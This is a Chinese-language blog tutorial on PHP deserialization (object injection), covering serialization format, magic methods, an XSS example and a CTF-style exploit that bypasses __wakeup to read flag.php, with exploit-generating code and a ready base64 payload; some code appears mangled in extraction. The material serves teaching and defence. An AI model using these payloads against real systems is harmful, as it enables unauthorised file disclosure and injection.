boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

反序列化漏洞


avatar
yuhui 2025年10月24日 24

反序列化漏洞

概述

反序列化又叫对象注入,序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给 unserialize()的参数可控时,那么用户就可以注入 payload,进行反序列化的时候就可能触发对象中的一些魔术方法

序列化与反序列化

序列化 serialize

对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区,将状态信息保存为字符串

反序列化 unserialize

将序列化后的字符串还原成对象

序列化

<?php

class S{

var $test = "pikachu";

function __construct(){

echo $this->test;

}

}

$c = new S();

echo serialize($c);

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

代表依次的含义

O:代表 object

1:代表对象名字长度为一个字符

S:对象的名称

1:代表对象里面有一个变量

s:数据类型(string)

4:变量名称的长度

test:变量名称

s:数据类型

7:变量值的长度

pikachu:变量值

序列化也会把变量的属性存储到字符串里

1746424962430-5c82d026-00c3-4cb8-9676-01565a8dd964.png

var 默认就是 public 属性,private 是x00 类名x00 变量名 在网页是不显示的

protected 0*0 变量名在网页上也是显示不出来符号的。默认是空白

(大写 S)表示 protected 的字符串

<?php

class C1{

public $public = "public";

private $private="private";

Protected $Protected="Protected";

}

$c = new C1();

echo serialize($c);

1746425001337-b635ec82-3560-4e7a-ae8a-bc9604da7a67.png

网页上不会显示属性的空白符号的

<?php

class C1{

public $public = "public";

private $private="private";

Protected $Protected="Protected";

}

$c = new C1();

echo serialize($c);

file_put_contents(‘ser.txt’, serialize($c));

ultraedit

把序列化后的结果保存到 ser.txt 使用编辑器可以看到属性的空白符号用.代替

不同类型的字母

a – array

b – boolean

d – double

i – integer

o – common object

r – reference

s – string

C – custom object

O – class

N – null

R – pointer reference

U – unicode string

反序列化

反序列化的数据本质上来说是没有危害的,用户可控数据进行反序列化是存在危害的,反序列化的危害,关键还是在于可控或不可控

代码

<?php

class S{

var $test = "pikachu";

function __construct(){

echo $this->test;

}

}

$c = new S();

echo serialize($c);

反序列化后,如果$test 可控 类在实例化的时,值会传入$this->test 因为是 echo 内容是直接输出会造成 xss 漏洞。

生成 payload 代码

<?php

class S{

var $test = "";

function __construct(){

echo $this->test;

}

}

$c = new S();

echo serialize($c);

序列化后的结果

O:1:"S":1:{s:4:"test";s:26:"";}

反序列化

<?php

class S{

var $test = "pikachu";

function __construct(){

echo $this->test;

}

}

$c = new S();

$u=unserialize($_GET[‘url’]);

echo $u->test;

1746425266625-e9ce9ac3-8184-4c66-8d03-4e00a5bbdbf8.png

反序列化里的魔法函数

__construct() 当一个对象创建时被调用

__destruct() 当一个对象销毁前被调用

__sleep() 在对象被序列化前被调用

__wakeup 将在反序列化之后立即被调用

__toString 当一个对象被当做字符串使用时被调用

get(),set() 当调用或设置一个类及其父类方法中未定义的属性时

__invoke() 调用函数的方式调用一个对象时的回应方法

call 和 callStatic 前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行

魔术方法实例

<?php
class Str3am{
public $var1 = 'abc';
public $var2 = '123';
public function echoP(){
echo $this->var1.'<br>';
}
public function __construct(){
echo "__construct<br>";
}
public function __destruct(){
echo "__destruct<br>";
}
public function __toString(){
return "__toString<br>";
}
public function __sleep(){
echo "__sleep<br>";
// 注意返回带类中所有变量名称的数组
return array('var1', 'var2');
}
public function __wakeup(){
echo "__wakeup<br>";
}
}
// 创建对象,输出__construct
$obj = new Str3am();
// 调用 echoP 方法
$obj->echoP();
// 把类当做字符串输出,输出__toString
echo $obj;
// 序列化对象,输出__sleep
$s = serialize($obj);
// O:6:"Str3am":2:{s:4:"var1";s:3:"abc";s:4:"var2";s:3:"123";}
echo $s.'<br>';
// 反序列对象,输出__wakeup
unserialize($s);
// 脚本结束,对象被销毁,输出两个 __destruct,还有一个是 unserialize 恢复的对象
?>

反序列化漏洞案例测试

<?php
class SoFun {
protected $file='index.php';
function __destruct() {
if(!empty($this->file)) {
if(strchr($this-> file,"\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
}else{
die('Wrong filename.');
}
}
function __wakeup() {
$this-> file='index.php';
}
public function __toString() {
return '' ;
}
}
if (!isset($_GET['file'])) {
show_source('index.php');
} else {
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?>

代码 的目的是 要读取同 目录下 的 flag.php。需 要再反序 列化的时 读取 flag.php 把内 容显示出 来,show_source 能够读取源码的内容,所以要利用这个 show_source(dirname (FILE).’/’.$this ->file);

这段代码读取 flag.php

经过 unserialize 反序列化的代码首先会 触发wakeup 函数,所以首先要绕过wakeup 函数,在上述的内容里面__wakeup 的个数大于实际个数会进行绕过

__destruct 当一个对象在销毁前调用,所以在最后结束是调用这个函数

f(strchr($this-> file,"")===false && strchr($this->file, ‘/’)===false) 传的字符串如果不存在 或者/ 的字符时,执行 show_source(dirname (FILE).’/’.$this ->file); 显示源代码

生成序列化 EXP

<?php
class SoFun {
protected $file='flag.php';
function __destruct() {
if(!empty($this->file)) {
if(strchr($this-> file,"\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
}else{
die('Wrong filename.');
}
}
}
$C1= new SoFun();
$data=serialize($C1);
echo $data;
echo base64_encode($data);
?>

1746425439686-25073397-30c0-4e32-bd21-91e2531968bd.png1746425451271-f30e1406-85ea-4365-aa77-c30fbf22ab99.png

绕__wakeup 函数 把 1 改成 2 个数大于实际个数

<?php

$data=’O:5:"SoFun":2:{S:7:"0*0file";s:8:"flag.php";}’;

echo base64_encode($data);

?>

S 大写的是表示 Protected 的属性的字符串

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

1746425495281-0c4bf52b-4047-4ac9-88c1-5447adb2ae59.png

反序列化漏洞防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去

更新: 2025-05-05 14:12:01
原文: https://www.yuque.com/yuhui.net/network/nes7xduqi3ut0hge



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字

插入代码